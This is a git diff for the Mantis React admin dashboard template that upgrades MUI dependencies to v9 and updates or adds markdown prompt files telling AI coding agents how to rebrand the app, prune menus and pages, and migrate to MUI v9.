a/jsconfig.node.json +++ b/jsconfig.node.json @@ -1,9 +1,9 @@ -{ - "compilerOptions": { - "composite": true, - "module": "ESNext", - "moduleResolution": "Node", - "allowSyntheticDefaultImports": true - }, - "include": ["vite.config.mjs"] -} +{ + "compilerOptions": { + "composite": true, + "module": "ESNext", + "moduleResolution": "Node", + "allowSyntheticDefaultImports": true + }, + "include": ["vite.config.mjs"] +} diff --git a/package.json b/package.json index 815bf4e40..16b63ccda 100644 --- a/package.json +++ b/package.json @@ -1,78 +1,77 @@ -{ - "name": "mantis-material-free-react", - "version": "2.1.0", - "homepage": "https://mantisdashboard.com/free", - "author": { - "name": "CodedThemes", - "email": "codedthemes@gmail.com", - "url": "https://codedthemes.com/" - }, - "scripts": { - "start": "vite", - "build": "vite build", - "preview": "vite preview", - "lint": "eslint \"src/**/*.{js,jsx,ts,tsx}\"", - "lint:fix": "eslint --fix \"src/**/*.{js,jsx,ts,tsx}\"", - "prettier": "prettier --write \"src/**/*.{js,jsx,ts,tsx}\"" - }, - "dependencies": { - "@ant-design/colors": "8.0.1", - "@ant-design/icons": "6.1.0", - "@emotion/cache": "11.14.0", - "@emotion/react": "11.14.0", - "@emotion/styled": "11.14.1", - "@fontsource/public-sans": "5.2.7", - "@mui/base": "5.0.0-beta.70", - "@mui/lab": "7.0.1-beta.22", - "@mui/material": "7.3.8", - "@mui/system": "7.3.8", - "@mui/x-charts": "8.27.0", - "@vitejs/plugin-react": "5.1.4", - "formik": "2.4.9", - "framer-motion": "12.34.2", - "lodash-es": "4.17.23", - "react": "19.2.4", - "react-device-detect": "2.2.3", - "react-dom": "19.2.4", - "react-number-format": "5.4.4", - "react-router": "7.13.0", - "react-router-dom": "7.13.0", - "simplebar-react": "3.3.2", - "swr": "2.4.0", - "vite": "7.3.1", - "vite-jsconfig-paths": "2.0.1", - "web-vitals": "5.1.0", - "yup": "1.7.1" - }, - "eslintConfig": { - "extends": [ - "react-app", - "react-app/jest" - ] - }, - "browserslist": { - "production": [ - ">0.2%", - "not dead", - "not op_mini all" - ], - "development": [ - "last 1 chrome version", - "last 1 firefox version", - "last 1 safari version" - ] - }, - "devDependencies": { - "@eslint/compat": "2.0.2", - "@eslint/eslintrc": "3.3.3", - "@eslint/js": "10.0.1", - "eslint": "10.0.0", - "eslint-config-prettier": "10.1.8", - "eslint-plugin-jsx-a11y": "6.10.2", - "eslint-plugin-prettier": "5.5.5", - "eslint-plugin-react": "7.37.5", - "eslint-plugin-react-hooks": "7.0.1", - "prettier": "3.8.1" - }, - "packageManager": "yarn@4.12.0" -} +{ + "name": "mantis-material-free-react", + "version": "2.1.0", + "homepage": "https://mantisdashboard.com/free", + "author": { + "name": "CodedThemes", + "email": "codedthemes@gmail.com", + "url": "https://codedthemes.com/" + }, + "scripts": { + "start": "vite", + "build": "vite build", + "preview": "vite preview", + "lint": "eslint \"src/**/*.{js,jsx,ts,tsx}\"", + "lint:fix": "eslint --fix \"src/**/*.{js,jsx,ts,tsx}\"", + "prettier": "prettier --write \"src/**/*.{js,jsx,ts,tsx}\"" + }, + "dependencies": { + "@ant-design/colors": "8.0.1", + "@ant-design/icons": "6.1.0", + "@emotion/cache": "11.14.0", + "@emotion/react": "11.14.0", + "@emotion/styled": "11.14.1", + "@fontsource/public-sans": "5.2.7", + "@mui/lab": "9.0.0-beta.2", + "@mui/material": "9.0.0", + "@mui/system": "9.0.0", + "@mui/x-charts": "8.27.0", + "@vitejs/plugin-react": "5.1.4", + "formik": "2.4.9", + "framer-motion": "12.34.2", + "lodash-es": "4.17.23", + "react": "19.2.4", + "react-device-detect": "2.2.3", + "react-dom": "19.2.4", + "react-number-format": "5.4.4", + "react-router": "7.13.0", + "react-router-dom": "7.13.0", + "simplebar-react": "3.3.2", + "swr": "2.4.0", + "vite": "7.3.1", + "vite-jsconfig-paths": "2.0.1", + "web-vitals": "5.1.0", + "yup": "1.7.1" + }, + "eslintConfig": { + "extends": [ + "react-app", + "react-app/jest" + ] + }, + "browserslist": { + "production": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "development": [ + "last 1 chrome version", + "last 1 firefox version", + "last 1 safari version" + ] + }, + "devDependencies": { + "@eslint/compat": "2.0.2", + "@eslint/eslintrc": "3.3.3", + "@eslint/js": "10.0.1", + "eslint": "10.0.0", + "eslint-config-prettier": "10.1.8", + "eslint-plugin-jsx-a11y": "6.10.2", + "eslint-plugin-prettier": "5.5.5", + "eslint-plugin-react": "7.37.5", + "eslint-plugin-react-hooks": "7.0.1", + "prettier": "3.8.1" + }, + "packageManager": "yarn@4.12.0" +} diff --git a/prompts/apps/cleanup-pages.prompt.md b/prompts/apps/cleanup-pages.prompt.md index a5eb2f56e..5079adbe4 100644 --- a/prompts/apps/cleanup-pages.prompt.md +++ b/prompts/apps/cleanup-pages.prompt.md @@ -1,36 +1,36 @@ - - - - -I want to specifically focus on the **{{KEEP_PAGE_NAME}}** page/section. -Please remove all other sample pages and unnecessary components from the codebase to clean it up. - -**Rules for Removal:** - -1. **Identify the Page to Keep:** Ensure you clearly understand which page or section is "{{KEEP_PAGE_NAME}}". If "{{KEEP_PAGE_NAME}}" is "minimal", remove all sample pages. -2. **Delete Page Files:** - - `src/pages/component-overview/`: Remove files NOT belonging to {{KEEP_PAGE_NAME}}. - - `src/pages/extra-pages/`: Remove files NOT belonging to {{KEEP_PAGE_NAME}} (e.g., `sample-page.jsx`). - - `src/sections/`: Remove directories/files NOT used by the dashboard or the page you are keeping. -3. **Clean Global References (Crucial):** - - **Layouts:** Check `src/layout/Dashboard/Drawer/DrawerContent/Navigation` and `src/layout/Dashboard/` for any hardcoded links to deleted pages. - - **Landing/Main Page:** Check `src/pages/dashboard/` or `src/index.jsx` for imports of deleted components. -4. **Update Routing & Navigation:** - - `src/routes/MainRoutes.jsx`: Remove routes **AND** their imports for the pages being deleted. - - `src/menu-items/`: - - Update `utilities.jsx`, `page.jsx`, and `support.jsx` to remove links to deleted pages. - - Update `index.jsx` to exclude entire menu groups if all their items are removed. -5. **Final Verification:** Run a global search for the deleted page names (e.g., "color", "shadow", "sample-page") to ensure no "dead" imports or navigation items remain in the codebase. - -## Example - -**Input:** -I want to focus on a **minimal** dashboard. Remove all other sample pages. - -**Output:** - -- Deleted `src/pages/component-overview/color.jsx`, `shadows.jsx`, `typography.jsx`, etc. -- Deleted `src/pages/extra-pages/sample-page.jsx`. -- Updated `src/routes/MainRoutes.jsx` to remove sample page routes. -- Updated `src/menu-items/utilities.jsx`, `src/menu-items/page.jsx`, and `src/menu-items/support.jsx` to remove menu items. -- Updated `src/menu-items/index.jsx` to only include the dashboard group. + + + + +I want to specifically focus on the **{{KEEP_PAGE_NAME}}** page/section. +Please remove all other sample pages and unnecessary components from the codebase to clean it up. + +**Rules for Removal:** + +1. **Identify the Page to Keep:** Ensure you clearly understand which page or section is "{{KEEP_PAGE_NAME}}". If "{{KEEP_PAGE_NAME}}" is "minimal", remove all sample pages. +2. **Delete Page Files:** + - `src/pages/component-overview/`: Remove files NOT belonging to {{KEEP_PAGE_NAME}}. + - `src/pages/extra-pages/`: Remove files NOT belonging to {{KEEP_PAGE_NAME}} (e.g., `sample-page.jsx`). + - `src/sections/`: Remove directories/files NOT used by the dashboard or the page you are keeping. +3. **Clean Global References (Crucial):** + - **Layouts:** Check `src/layout/Dashboard/Drawer/DrawerContent/Navigation` and `src/layout/Dashboard/` for any hardcoded links to deleted pages. + - **Landing/Main Page:** Check `src/pages/dashboard/` or `src/index.jsx` for imports of deleted components. +4. **Update Routing & Navigation:** + - `src/routes/MainRoutes.jsx`: Remove routes **AND** their imports for the pages being deleted. + - `src/menu-items/`: + - Update `utilities.jsx`, `page.jsx`, and `support.jsx` to remove links to deleted pages. + - Update `index.jsx` to exclude entire menu groups if all their items are removed. +5. **Final Verification:** Run a global search for the deleted page names (e.g., "color", "shadow", "sample-page") to ensure no "dead" imports or navigation items remain in the codebase. + +## Example + +**Input:** +I want to focus on a **minimal** dashboard. Remove all other sample pages. + +**Output:** + +- Deleted `src/pages/component-overview/color.jsx`, `shadows.jsx`, `typography.jsx`, etc. +- Deleted `src/pages/extra-pages/sample-page.jsx`. +- Updated `src/routes/MainRoutes.jsx` to remove sample page routes. +- Updated `src/menu-items/utilities.jsx`, `src/menu-items/page.jsx`, and `src/menu-items/support.jsx` to remove menu items. +- Updated `src/menu-items/index.jsx` to only include the dashboard group. diff --git a/prompts/auth/customize-validation-messages.prompt.md b/prompts/auth/customize-validation-messages.prompt.md index c1f616e31..c62facd72 100644 --- a/prompts/auth/customize-validation-messages.prompt.md +++ b/prompts/auth/customize-validation-messages.prompt.md @@ -1,54 +1,54 @@ - - - - -## Requirements - -### 1. Create Centralized Validation Messages File - -Create a new file at `src/utils/validationMessages.js` that contains all validation messages as constants/config object, making them easy to find and modify. - -### 2. Validation Rules & Messages - ---- - -#### **First Name & Last Name Validation:** - -| Rule | Message | -| --------------------------------------------- | -------------------------------------------------- | -| Must not be empty | "First Name is required" / "Last Name is required" | -| Minimum 2 characters | "Must be at least 2 characters" | -| Numbers are not allowed | "Numbers are not allowed" | -| Special characters not allowed (@ # $ % etc.) | "Special characters are not allowed" | -| No multiple spaces between words | "Multiple spaces are not allowed" | - ---- - -#### **Email Validation:** - -| Rule | Message | -| ----------------------------------------------------------------------- | --------------------------------------- | -| Must not be empty | "Email is required" | -| No space at beginning or end | "Email cannot start or end with spaces" | -| No spaces anywhere in email | "Spaces are not allowed in email" | -| Must contain @ | "Email must contain @" | -| Must contain domain (.com, .in, .net) | "Email must have a valid domain" | -| Only one @ allowed | "Email can only contain one @" | -| Username allows: letters, numbers, dot (.), underscore (\_), hyphen (-) | "Invalid characters in email username" | -| Minimum length 5 characters | "Email must be at least 5 characters" | - ---- - -#### **Password Validation:** - -| Rule | Message | -| ----------------------------------------------- | ------------------------------------------------------ | -| Must not be empty | "Password is required" | -| Minimum 8 characters | "Password must be at least 8 characters" | -| At least 1 Capital letter (A-Z) | "Password must contain at least one uppercase letter" | -| At least 1 Small letter (a-z) | "Password must contain at least one lowercase letter" | -| At least 1 Number (0-9) | "Password must contain at least one number" | -| At least 1 Special character (@ # $ % & ! etc.) | "Password must contain at least one special character" | -| Spaces are not allowed | "Password cannot contain spaces" | - ---- + + + + +## Requirements + +### 1. Create Centralized Validation Messages File + +Create a new file at `src/utils/validationMessages.js` that contains all validation messages as constants/config object, making them easy to find and modify. + +### 2. Validation Rules & Messages + +--- + +#### **First Name & Last Name Validation:** + +| Rule | Message | +| --------------------------------------------- | -------------------------------------------------- | +| Must not be empty | "First Name is required" / "Last Name is required" | +| Minimum 2 characters | "Must be at least 2 characters" | +| Numbers are not allowed | "Numbers are not allowed" | +| Special characters not allowed (@ # $ % etc.) | "Special characters are not allowed" | +| No multiple spaces between words | "Multiple spaces are not allowed" | + +--- + +#### **Email Validation:** + +| Rule | Message | +| ----------------------------------------------------------------------- | --------------------------------------- | +| Must not be empty | "Email is required" | +| No space at beginning or end | "Email cannot start or end with spaces" | +| No spaces anywhere in email | "Spaces are not allowed in email" | +| Must contain @ | "Email must contain @" | +| Must contain domain (.com, .in, .net) | "Email must have a valid domain" | +| Only one @ allowed | "Email can only contain one @" | +| Username allows: letters, numbers, dot (.), underscore (\_), hyphen (-) | "Invalid characters in email username" | +| Minimum length 5 characters | "Email must be at least 5 characters" | + +--- + +#### **Password Validation:** + +| Rule | Message | +| ----------------------------------------------- | ------------------------------------------------------ | +| Must not be empty | "Password is required" | +| Minimum 8 characters | "Password must be at least 8 characters" | +| At least 1 Capital letter (A-Z) | "Password must contain at least one uppercase letter" | +| At least 1 Small letter (a-z) | "Password must contain at least one lowercase letter" | +| At least 1 Number (0-9) | "Password must contain at least one number" | +| At least 1 Special character (@ # $ % & ! etc.) | "Password must contain at least one special character" | +| Spaces are not allowed | "Password cannot contain spaces" | + +--- diff --git a/prompts/common/change-branding.prompt.md b/prompts/common/change-branding.prompt.md index 668443d32..91683d54a 100644 --- a/prompts/common/change-branding.prompt.md +++ b/prompts/common/change-branding.prompt.md @@ -1,89 +1,89 @@ - - - - -Act as a Senior Frontend Developer. Your goal is to rebrand this application from **{{OLD_BRAND}}** to **{{NEW_BRAND}}** with ZERO errors. You must update all configuration files, global text references, and asset pointers. - -**INPUT VARIABLES:** - -- **Old Brand:** `{{OLD_BRAND}}` (e.g., Mantis) -- **New Brand:** `{{NEW_BRAND}}` (e.g., Able Pro) -- **New Package Name:** `{{NEW_PACKAGE_NAME}}` (e.g., able-pro-react-js) - ---- - -### **Step 1: Global Text Replacement** - -**Action:** - -1. **Case Sensitive Search:** Search for `{{OLD_BRAND}}` and replace with `{{NEW_BRAND}}` in all text files (excluding `node_modules`). -2. **Lowercase Search:** Search for `{{OLD_BRAND_LOWER}}` (lowercase) and replace with `{{NEW_BRAND_LOWER}}` (lowercase). - - _Constraint:_ Do NOT replace external library names (e.g., `mantis-ui` if it is a third-party dependency) unless you are sure it is an internal package. - - _Constraint:_ Check URLs carefully. Update links to documentation or repositories if they should point to the new brand, but keep them if they are historical references. - ---- - -### **Step 2: Update Configuration Files** - -**Target File:** `package.json` -**Action:** - -1. Update `"name"` property to `{{NEW_PACKAGE_NAME}}`. -2. Update `"description"` references. - -**Target File:** `public/index.html` -**Action:** - -1. Update `` to `{{NEW_BRAND}} React Admin Dashboard`. -2. Update `<meta name="title">` and `<meta name="description">` content. - -**Target File:** `README.md` -**Action:** - -1. Replace the H1 title with `{{NEW_BRAND}} Material React Admin Template`. -2. Update installation steps and descriptions to reflect `{{NEW_BRAND}}`. - ---- - -### **Step 3: Update Components & Assets** - -**Target File:** `src/components/logo/LogoMain.jsx` & `src/components/logo/LogoIcon.jsx` -**Action:** - -1. Update the `alt` text for images/SVGs to `{{NEW_BRAND}}`. - ```jsx - // Example - alt = "{{NEW_BRAND}}"; - ``` - -**Target File:** `src/layout/Dashboard/Drawer/DrawerHeader/index.jsx` -**Action:** - -1. Ensure the Logo component is correctly wrapped and accessible. - -**Target File:** `src/layout/Dashboard/Footer.jsx` -**Action:** - -1. Update copyright text to reflect the new brand or company if applicable. - ---- - -### **Step 4: Landing Page & Content Updates** - -**Target Directories:** `src/sections/landing/`, `src/pages/` -**Action:** - -1. Iterate through all Landing Page blocks (Header, Feature, Demo, Testimonial, etc.). -2. Replace marketing copy: "Welcome to {{OLD_BRAND}}" -> "Welcome to {{NEW_BRAND}}". -3. Update `alt` tags in `CardMedia` or `img` elements: `alt="{{OLD_BRAND}}"` -> `alt="{{NEW_BRAND}}"`. - ---- - -### **Final Verification Checklist** - -- [ ] `package.json` name is updated. -- [ ] Browser tab title reads `{{NEW_BRAND}}...`. -- [ ] "Welcome to {{OLD_BRAND}}" no longer appears on the Landing Page. -- [ ] Footer copyright is correct. -- [ ] No broken links in `package.json` dependencies. +<!-- DESCRIPTION: The "Global Rebrand" Prompt +This prompt completely rebrands the application by replacing the Project Name, Text References, Metadata, and Logo Alt Text. --> + +<!-- AGENT: [Gemini 3.0 Pro] --> + +Act as a Senior Frontend Developer. Your goal is to rebrand this application from **{{OLD_BRAND}}** to **{{NEW_BRAND}}** with ZERO errors. You must update all configuration files, global text references, and asset pointers. + +**INPUT VARIABLES:** + +- **Old Brand:** `{{OLD_BRAND}}` (e.g., Mantis) +- **New Brand:** `{{NEW_BRAND}}` (e.g., Able Pro) +- **New Package Name:** `{{NEW_PACKAGE_NAME}}` (e.g., able-pro-react-js) + +--- + +### **Step 1: Global Text Replacement** + +**Action:** + +1. **Case Sensitive Search:** Search for `{{OLD_BRAND}}` and replace with `{{NEW_BRAND}}` in all text files (excluding `node_modules`). +2. **Lowercase Search:** Search for `{{OLD_BRAND_LOWER}}` (lowercase) and replace with `{{NEW_BRAND_LOWER}}` (lowercase). + - _Constraint:_ Do NOT replace external library names (e.g., `mantis-ui` if it is a third-party dependency) unless you are sure it is an internal package. + - _Constraint:_ Check URLs carefully. Update links to documentation or repositories if they should point to the new brand, but keep them if they are historical references. + +--- + +### **Step 2: Update Configuration Files** + +**Target File:** `package.json` +**Action:** + +1. Update `"name"` property to `{{NEW_PACKAGE_NAME}}`. +2. Update `"description"` references. + +**Target File:** `public/index.html` +**Action:** + +1. Update `<title>` to `{{NEW_BRAND}} React Admin Dashboard`. +2. Update `<meta name="title">` and `<meta name="description">` content. + +**Target File:** `README.md` +**Action:** + +1. Replace the H1 title with `{{NEW_BRAND}} Material React Admin Template`. +2. Update installation steps and descriptions to reflect `{{NEW_BRAND}}`. + +--- + +### **Step 3: Update Components & Assets** + +**Target File:** `src/components/logo/LogoMain.jsx` & `src/components/logo/LogoIcon.jsx` +**Action:** + +1. Update the `alt` text for images/SVGs to `{{NEW_BRAND}}`. + ```jsx + // Example + alt = "{{NEW_BRAND}}"; + ``` + +**Target File:** `src/layout/Dashboard/Drawer/DrawerHeader/index.jsx` +**Action:** + +1. Ensure the Logo component is correctly wrapped and accessible. + +**Target File:** `src/layout/Dashboard/Footer.jsx` +**Action:** + +1. Update copyright text to reflect the new brand or company if applicable. + +--- + +### **Step 4: Landing Page & Content Updates** + +**Target Directories:** `src/sections/landing/`, `src/pages/` +**Action:** + +1. Iterate through all Landing Page blocks (Header, Feature, Demo, Testimonial, etc.). +2. Replace marketing copy: "Welcome to {{OLD_BRAND}}" -> "Welcome to {{NEW_BRAND}}". +3. Update `alt` tags in `CardMedia` or `img` elements: `alt="{{OLD_BRAND}}"` -> `alt="{{NEW_BRAND}}"`. + +--- + +### **Final Verification Checklist** + +- [ ] `package.json` name is updated. +- [ ] Browser tab title reads `{{NEW_BRAND}}...`. +- [ ] "Welcome to {{OLD_BRAND}}" no longer appears on the Landing Page. +- [ ] Footer copyright is correct. +- [ ] No broken links in `package.json` dependencies. diff --git a/prompts/menu/manage-menu.prompt.md b/prompts/menu/manage-menu.prompt.md index febd614be..9640f20a7 100644 --- a/prompts/menu/manage-menu.prompt.md +++ b/prompts/menu/manage-menu.prompt.md @@ -1,47 +1,47 @@ -<!-- DESCRIPTION: This prompt is used to manage the menus, you can add remove menus using this --> - -<!-- AGENT: Gemini 3 Pro --> - -I want to **manage the application menus**. -Please follow the instructions below to remove or keep specific menus based on my request. - -**My Request:** -{{USER_REQUEST_DETAILS}} -(e.g., "Remove the 'widget' and 'forms' menus" OR "Only keep 'dashboard' and 'applications'") - -**Rules for Execution:** - -1. **Analyze `src/menu-items/index.jsx`:** - - Identify the imported menu objects (e.g., `widget`, `formsTables`, `chartsMap`). - - Determine which ones correspond to the user's request. - - **Action:** Remove the unwanted menu objects from the `items` array in `menuItems`. - - **Action:** Remove the corresponding `import` statements. - -2. **Update `src/routes/MainRoutes.jsx` (and others if needed):** - - Find the routes associated with the removed menus (look for matching `path` values like `widget`, `forms`, `charts`). - - **Action:** Remove the route definitions for the deleted menus. - - **Action:** Remove the associated `import` statements (e.g., `const WidgetStatistics = ...`). - -3. **Clean up `src/menu-items/` (Optional but Recommended):** - - If a menu file (e.g., `src/menu-items/widget.js`) is no longer imported by `index.jsx`, IT IS SAFE TO DELETE THE FILE. - - **Action:** Delete the unused menu item definition file. - -4. **CRITICAL - NO COMPONENT DELETION:** - - **Do NOT delete any components** from `src/pages/`, `src/sections/`, or `src/components/`, even if they seem unused. - - The user explicitly requested to **retain all components**. Only remove the _navigation entry points_ (menus and routes). - -5. **Final Verification:** - - Ensure the application builds without errors (no missing imports). - - Verify `src/menu-items/index.jsx` only contains the desired menus. - -## Example - -**Input:** -Remove 'widget' and 'forms' menus. - -**Output:** - -- Modified `src/menu-items/index.jsx`: Removed `widget` and `formsTables` from items. -- Deleted `src/menu-items/widget.js` and `src/menu-items/forms-tables.js`. -- Modified `src/routes/MainRoutes.jsx`: Removed paths `'widget'` and `'forms'` and their imports. -- **KEPT:** `src/pages/widget/`, `src/pages/forms/` (Components remained untouched). +<!-- DESCRIPTION: This prompt is used to manage the menus, you can add remove menus using this --> + +<!-- AGENT: Gemini 3 Pro --> + +I want to **manage the application menus**. +Please follow the instructions below to remove or keep specific menus based on my request. + +**My Request:** +{{USER_REQUEST_DETAILS}} +(e.g., "Remove the 'widget' and 'forms' menus" OR "Only keep 'dashboard' and 'applications'") + +**Rules for Execution:** + +1. **Analyze `src/menu-items/index.jsx`:** + - Identify the imported menu objects (e.g., `widget`, `formsTables`, `chartsMap`). + - Determine which ones correspond to the user's request. + - **Action:** Remove the unwanted menu objects from the `items` array in `menuItems`. + - **Action:** Remove the corresponding `import` statements. + +2. **Update `src/routes/MainRoutes.jsx` (and others if needed):** + - Find the routes associated with the removed menus (look for matching `path` values like `widget`, `forms`, `charts`). + - **Action:** Remove the route definitions for the deleted menus. + - **Action:** Remove the associated `import` statements (e.g., `const WidgetStatistics = ...`). + +3. **Clean up `src/menu-items/` (Optional but Recommended):** + - If a menu file (e.g., `src/menu-items/widget.js`) is no longer imported by `index.jsx`, IT IS SAFE TO DELETE THE FILE. + - **Action:** Delete the unused menu item definition file. + +4. **CRITICAL - NO COMPONENT DELETION:** + - **Do NOT delete any components** from `src/pages/`, `src/sections/`, or `src/components/`, even if they seem unused. + - The user explicitly requested to **retain all components**. Only remove the _navigation entry points_ (menus and routes). + +5. **Final Verification:** + - Ensure the application builds without errors (no missing imports). + - Verify `src/menu-items/index.jsx` only contains the desired menus. + +## Example + +**Input:** +Remove 'widget' and 'forms' menus. + +**Output:** + +- Modified `src/menu-items/index.jsx`: Removed `widget` and `formsTables` from items. +- Deleted `src/menu-items/widget.js` and `src/menu-items/forms-tables.js`. +- Modified `src/routes/MainRoutes.jsx`: Removed paths `'widget'` and `'forms'` and their imports. +- **KEPT:** `src/pages/widget/`, `src/pages/forms/` (Components remained untouched). diff --git a/prompts/menu/remove-icon.prompt.md b/prompts/menu/remove-icon.prompt.md index 11ab5f493..aa65468a2 100644 --- a/prompts/menu/remove-icon.prompt.md +++ b/prompts/menu/remove-icon.prompt.md @@ -1,32 +1,32 @@ -<!-- DESCRIPTION: This prompt helps users remove icons from the sidebar menu list. It modifies the navigation components to hide icon rendering logic. --> - -<!-- AGENT: Gemini 3 Pro --> - -I want to remove all icons from the sidebar navigation menu in my project. Please update the navigation components to stop rendering icons. - -Modify the following files: - -1. `src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavItem.jsx` -2. `src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavCollapse.jsx` - -**Requirements:** - -- In `NavItem.jsx`: - - Locate and remove the logic that initializes `itemIcon`. - - Remove all `<ListItemIcon>` components, including the one that renders `itemIcon` and the one that renders a fallback `<Dot />`. - - Ensure `ListItemText` for the menu title remains properly aligned. You may need to adjust the `pl` (padding-left) or other spacing attributes on `ListItemButton` to compensate for the missing icon space. -- In `NavCollapse.jsx`: - - Locate and remove the logic that initializes `menuIcon` and handles the `borderIcon`. - - Remove the `<ListItemIcon>` component that renders these icons. - - Ensure the text and the collapse arrow (up/down/right) remain correctly positioned. -- General: - - Keep the code clean and remove any unused imports like `ListItemIcon`, `Dot`, and icon assets (e.g., `@ant-design/icons`) if they are no longer used after your changes. - - Make sure both vertical and horizontal layouts (if present in the files) are updated accordingly. - -## Example - -**Input:** -Standard Mantis sidebar with "Dashboard", "Statistics", etc., each having a leading icon. - -**Output:** -A simplified sidebar with only text labels. The labels should be shifted to the left to occupy the space where the icons used to be, ensuring a clean and professional look. +<!-- DESCRIPTION: This prompt helps users remove icons from the sidebar menu list. It modifies the navigation components to hide icon rendering logic. --> + +<!-- AGENT: Gemini 3 Pro --> + +I want to remove all icons from the sidebar navigation menu in my project. Please update the navigation components to stop rendering icons. + +Modify the following files: + +1. `src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavItem.jsx` +2. `src/layout/Dashboard/Drawer/DrawerContent/Navigation/NavCollapse.jsx` + +**Requirements:** + +- In `NavItem.jsx`: + - Locate and remove the logic that initializes `itemIcon`. + - Remove all `<ListItemIcon>` components, including the one that renders `itemIcon` and the one that renders a fallback `<Dot />`. + - Ensure `ListItemText` for the menu title remains properly aligned. You may need to adjust the `pl` (padding-left) or other spacing attributes on `ListItemButton` to compensate for the missing icon space. +- In `NavCollapse.jsx`: + - Locate and remove the logic that initializes `menuIcon` and handles the `borderIcon`. + - Remove the `<ListItemIcon>` component that renders these icons. + - Ensure the text and the collapse arrow (up/down/right) remain correctly positioned. +- General: + - Keep the code clean and remove any unused imports like `ListItemIcon`, `Dot`, and icon assets (e.g., `@ant-design/icons`) if they are no longer used after your changes. + - Make sure both vertical and horizontal layouts (if present in the files) are updated accordingly. + +## Example + +**Input:** +Standard Mantis sidebar with "Dashboard", "Statistics", etc., each having a leading icon. + +**Output:** +A simplified sidebar with only text labels. The labels should be shifted to the left to occupy the space where the icons used to be, ensuring a clean and professional look. diff --git a/prompts/migrate-to-mui-v9.prompt.md b/prompts/migrate-to-mui-v9.prompt.md new file mode 100644 index 000000000..7d7bf4a05 --- /dev/null +++ b/prompts/migrate-to-mui-v9.prompt.md @@ -0,0 +1,86 @@ +--- +mode: agent +description: Migrate a React project from any MUI version to v9 +--- + +I have a React project using MUI (Material UI). Please check the official migration guide at +https://mui.com/material-ui/migration/upgrade-to-v9/ and migrate my project from its current +MUI version to v9. + +Steps to follow: + +1. Read the migration guide thoroughly +2. Analyze my current project's package.json and source files +3. Create a migration plan covering all breaking changes found in the project +4. Implement all changes, including: + + - Update package.json: `@mui/material`, `@mui/system`, `@mui/lab` (use `9.0.0-beta.2` for lab), + remove `@mui/base` (merged into `@mui/material`) + + - Fix theme overrides β€” deprecated compound CSS class keys used as `styleOverrides` slots: + Check ALL override files (Button, OutlinedInput, Checkbox, Radio, Switch, Badge, and every + other component override) for keys like `colorPrimary`, `colorSecondary`, `colorError`, + `colorSuccess`, `colorInfo`, `colorWarning`, `inputSizeSmall`, `inputMultiline` used at + the **top level** of `styleOverrides`. These are CSS class selectors, not slots β€” move them + inside `root` as `'&.MuiXxx-colorPrimary'` selectors. + + - Fix invalid `styleOverrides` slot names: audit every override file and verify each key is an + actual component slot listed in the MUI API docs. For example, `standard` on `MuiBadge` is not + a valid slot β€” use `badge` instead. Other removed slot keys to look for: + `containedPrimary/Secondary/Error/…`, `outlinedPrimary/…`, `textPrimary/…` on Button; + `inputSizeSmall`, `inputMultiline`, `colorSecondary/Error/…` on OutlinedInput/InputBase; + `paperScrollPaper`, `paperScrollBody` on Dialog; `lineHorizontal`, `lineVertical` on + StepConnector; `thumbColorPrimary`, `thumbSizeSmall` on Slider; `groupedHorizontal`, + `groupedVertical` on ButtonGroup/ToggleButtonGroup; `bar1Buffer`, `barColorPrimary` on + LinearProgress; `circleDeterminate`, `circleIndeterminate` on CircularProgress; + `flexContainer`, `flexContainerVertical` on Tabs; `iconWrapper` on Tab; + `paperAnchorLeft`, `paperAnchorDockedLeft` on Drawer. + Replace all with `root.variants[]` using `{ props: { variant, color }, style }` pattern. + + - Fix CSS Variables API consistency: if the project uses `colorSchemes`/`cssVariables` in + `createTheme`, ensure ALL `sx` callbacks and `styled()` calls use `theme.vars.X` instead of + `theme.X` for any custom or palette tokens (e.g. `theme.vars.customShadows.z1` not + `theme.customShadows.z1`). Search for `theme\.(?!vars\.)` inside `sx` callbacks to find + violations. + + - Fix `MenuProps.PaperProps` β†’ `MenuProps.slotProps.paper` everywhere + - Fix Dialog `PaperComponent` β†’ `slots.paper` + - Fix Autocomplete `PopperComponent` β†’ `slots.popper` + - Fix Autocomplete `renderTags` β†’ `renderValue`, `getTagProps` β†’ `getItemProps` + - Fix `@mui/base` imports β†’ `@mui/material` + - Fix CSS class selectors: `MuiTabs-flexContainer` β†’ `MuiTabs-list` + - Fix `Grid direction="column"` (removed in v9) β†’ use `Stack` instead + - Move ALL system props (`alignItems`, `justifyContent`, `gap`, `textAlign`, `fontSize`, + `color`, `height`, `width`, `maxWidth`, `px`, `mx`, etc.) out of component props and into + the `sx` prop β€” applies to ALL MUI components (`Box`, `Stack`, `Grid`, `Typography`, + `Link`, `ListItemText`, etc.) + - Fix `visuallyHidden`: not exported from `@mui/material` root β€” define inline or import from + `@mui/material/utils` + - Fix `SpeedDialAction`: `tooltipTitle` β†’ `slotProps.tooltip.title`, remove `tooltipOpen` prop + - Fix deprecated props: `BackdropComponent`, `BackdropProps`, `PaperProps`, `TransitionComponent`, + `TransitionProps`, `componentsProps`, `components` β†’ use `slots`/`slotProps` equivalents + - Fix `TextField`: `InputProps` β†’ `slotProps.input`, `inputProps` β†’ `slotProps.htmlInput`, + `InputLabelProps` β†’ `slotProps.inputLabel`, `FormHelperTextProps` β†’ `slotProps.formHelperText` + - Fix `ListItemText`: `primaryTypographyProps` β†’ `slotProps.primary`, + `secondaryTypographyProps` β†’ `slotProps.secondary` + - Fix `CardHeader`: `titleTypographyProps` β†’ `slotProps.title`, + `subheaderTypographyProps` β†’ `slotProps.subheader` + - Fix `Typography` `paragraph` prop β†’ `sx={{ marginBottom: '16px' }}` + - Fix `Divider` `light` prop β†’ `sx={{ opacity: 0.6 }}` + - Fix `Dialog`/`Modal` `disableEscapeKeyDown` β†’ handle via `reason` in `onClose` + +5. Run `yarn install` (use `--legacy-peer-deps` if needed), then verify with `yarn build` +6. Fix any remaining build or TypeScript errors iteratively until a clean build is achieved + +Important notes: + +- `@mui/lab` latest compatible version is `9.0.0-beta.2` +- System props removal is the most widespread change β€” check EVERY MUI component in EVERY file +- For Autocomplete `renderInput`: always spread both `...params.slotProps` at the `TextField` + level and `...params.slotProps.input` / `...params.slotProps.htmlInput` at the slot level +- If theme override objects have duplicate property keys (e.g. two `"root"` entries), merge them + into one +- `spacing` on `Grid` container is a structural Grid prop β€” do NOT move it to `sx` +- `direction` on `Stack` is a Stack-specific prop β€” do NOT move it to `sx` +- `color`, `size`, `variant` on components like `Button`, `Chip`, `Badge` are component props β€” + do 